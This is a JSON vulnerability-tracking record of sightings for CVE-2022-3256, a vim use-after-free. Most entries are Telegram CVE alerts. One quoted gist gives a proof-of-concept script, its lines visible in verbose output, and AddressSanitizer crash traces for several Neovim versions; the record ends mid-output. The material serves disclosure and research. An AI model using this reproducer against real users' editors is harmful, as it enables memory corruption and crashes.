{"vulnerability": "CVE-2022-3256", "sightings": [{"uuid": "7a822787-5627-4d4f-8243-0bc33c262ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3256", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-3256\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Use After Free in GitHub repository vim/vim prior to 9.0.0530.\n\ud83d\udccf Published: 2022-09-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-23T20:31:50.981Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/8336a3df-212a-4f8d-ae34-76ef1f936bb3\n2. https://github.com/vim/vim/commit/8ecfa2c56b4992c7f067b92488aa9acea5a454ad\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LSSEWQLK55MCNT4Z2IIJEJYEI5HLCODI/\n4. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4QI7AETXBHPC7SGA77Q7O5IEGULWYET7/\n5. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GTBVD4J2SKVSWK4VBN5JP5OEVK6GDS3N/\n6. https://lists.debian.org/debian-lts-announce/2022/11/msg00032.html\n7. https://security.gentoo.org/glsa/202305-16", "creation_timestamp": "2025-05-23T20:45:21.000000Z"}, {"uuid": "a5292193-3913-462b-b980-009be1ecc3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3256", "type": "seen", "source": "https://t.me/cibsecurity/50261", "content": "\u203c CVE-2022-3256 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0530.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-22T16:12:06.000000Z"}, {"uuid": "fe5430d6-7a7d-4d34-96ef-d3da8cd76823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32567", "type": "seen", "source": "https://t.me/cibsecurity/45721", "content": "\u203c CVE-2022-32567 \u203c\n\nThe Appfire Jira Misc Custom Fields (JMCF) app 2.4.6 for Atlassian Jira allows XSS via a crafted project name to the Add Auto Indexing Rule function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-07T14:15:09.000000Z"}, {"uuid": "d32f5d1f-324a-48b8-b149-e6a0154d3ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32564", "type": "seen", "source": "https://t.me/cibsecurity/44342", "content": "\u203c CVE-2022-32564 \u203c\n\nAn issue was discovered in Couchbase Server before 7.0.4. In couchbase-cli, server-eshell leaks the Cluster Manager cookie.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-14T00:17:20.000000Z"}, {"uuid": "190fcd81-f7d2-4b77-8a8b-f7e052c983aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32563", "type": "seen", "source": "https://t.me/cibsecurity/44177", "content": "\u203c CVE-2022-32563 \u203c\n\nAn issue was discovered in Couchbase Sync Gateway 3.x before 3.0.2. Admin credentials are not verified when using X.509 client-certificate authentication from Sync Gateway to Couchbase Server. When Sync Gateway is configured to authenticate with Couchbase Server using X.509 client certificates, the admin credentials provided to the Admin REST API are ignored, resulting in privilege escalation for unauthenticated users. The Public REST API is not impacted by this issue. A workaround is to replace X.509 certificate based authentication with Username and Password authentication inside the bootstrap configuration.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-10T16:40:44.000000Z"}, {"uuid": "ddab5d8f-1939-4059-a4af-185c3dba8280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32562", "type": "seen", "source": "https://t.me/cibsecurity/44351", "content": "\u203c CVE-2022-32562 \u203c\n\nAn issue was discovered in Couchbase Server before 7.0.4. Operations may succeed on a collection using stale RBAC permission.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-14T02:18:23.000000Z"}, {"uuid": "144accdb-e30f-4d58-b002-58425a1687f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32561", "type": "seen", "source": "https://t.me/cibsecurity/44427", "content": "\u203c CVE-2022-32561 \u203c\n\nAn issue was discovered in Couchbase Server before 6.6.5 and 7.x before 7.0.4. Previous mitigations for CVE-2018-15728 were found to be insufficient when it was discovered that diagnostic endpoints could still be accessed from the network.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-14T20:18:16.000000Z"}, {"uuid": "e4297f34-4ff3-4c18-a49e-8fc8262b05de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32565", "type": "seen", "source": "https://t.me/cibsecurity/44350", "content": "\u203c CVE-2022-32565 \u203c\n\nAn issue was discovered in Couchbase Server before 7.0.4. The Backup Service log leaks unredacted usernames and document ids.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-14T02:18:22.000000Z"}, {"uuid": "d1e10be0-e708-464f-89b7-cc490f84bd37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32560", "type": "seen", "source": "https://t.me/cibsecurity/44340", "content": "\u203c CVE-2022-32560 \u203c\n\nAn issue was discovered in Couchbase Server before 7.0.4. XDCR lacks role checking when changing internal settings.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-14T00:17:19.000000Z"}, {"uuid": "87c8f623-e7d9-4469-9a7b-3367cd0bd436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3256", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/fb428818c3a653d81343e55bd254518d", "content": "Command:\n./nvim-0.7.2 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 ^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53949==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000004118 at pc 0x0000004d9b0a bp 0x7ffc3d0ca650 sp 0x7ffc3d0c9e18\nREAD of size 16 at 0x626000004118 thread T0\n    #0 0x4d9b09 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4d9b09)\n    #1 0xb70f0b in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:274:37\n    #2 0xc6cd87 in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5873:13\n    #3 0xc6dda6 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4165:5\n    #4 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #5 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #6 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #7 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #8 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #9 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #10 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #11 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #12 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #13 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #14 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #17 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #18 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #19 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x461f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x461f7d)\n\n0x626000004118 is located 4120 bytes inside of 10904-byte region [0x626000003100,0x626000005b98)\nfreed by thread T0 here:\n    #0 0x4da43d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4da43d)\n    #1 0xbdd894 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x68e5ce in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1901:7\n    #3 0x69194a in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1555:18\n    #4 0x8f5086 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2779:7\n    #5 0x8f1ca4 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2264:14\n    #6 0x6aeaa5 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2015:7\n    #7 0xb70ea2 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:269:11\n    #8 0xc6cd87 in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5873:13\n    #9 0xc6dda6 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4165:5\n    #10 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #11 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #12 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #13 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #14 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #15 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #16 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #17 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #18 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #19 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #20 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #23 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #24 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #25 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4da832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4da832)\n    #1 0xbdd92e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1167f39 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5000:19\n    #3 0x1175751 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1250:12\n    #4 0x115f0f0 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1000:10\n    #5 0x9213ad in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1136:11\n    #6 0x921f8e in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1113:3\n    #7 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #8 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #9 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #10 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #11 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #12 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #15 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #16 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #17 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4d9b09) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4c7fff87d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8820: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53949==ABORTING\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 ^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53896==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003fd8 at pc 0x0000004d5a1a bp 0x7fff67b01440 sp 0x7fff67b00c08\nREAD of size 16 at 0x626000003fd8 thread T0\n    #0 0x4d5a19 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d5a19)\n    #1 0xad3aab in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:266:37\n    #2 0xbcf1ce in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6395:13\n    #3 0xbd0181 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4767:5\n    #4 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #5 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #6 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #7 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #8 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #9 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #10 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #11 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #12 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #13 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #14 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #15 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #16 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #17 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #18 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #19 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x626000003fd8 is located 3800 bytes inside of 10584-byte region [0x626000003100,0x626000005a58)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0x648de5 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1689:7\n    #3 0x64bdaa in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1327:18\n    #4 0x884eec in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2701:7\n    #5 0x881b90 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2197:14\n    #6 0x6644d2 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2073:7\n    #7 0xad3a42 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:262:11\n    #8 0xbcf1ce in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6395:13\n    #9 0xbd0181 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4767:5\n    #10 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #11 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #12 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #13 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #14 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #15 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #16 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #17 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #18 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #19 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #20 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #21 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #22 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #23 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #24 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #25 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d6742 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d6742)\n    #1 0xb3225e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:135:15\n    #2 0x1080d74 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4550:19\n    #3 0x108d4af in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1133:12\n    #4 0x1078216 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:891:10\n    #5 0x8b7b4d in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1983:11\n    #6 0x8b872e in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1960:3\n    #7 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #8 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #9 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #10 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #11 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #12 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #13 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #14 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #15 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #16 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #17 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d5a19) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4c7fff87a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff87f0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4c7fff8800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53896==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"00\" [New File]\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 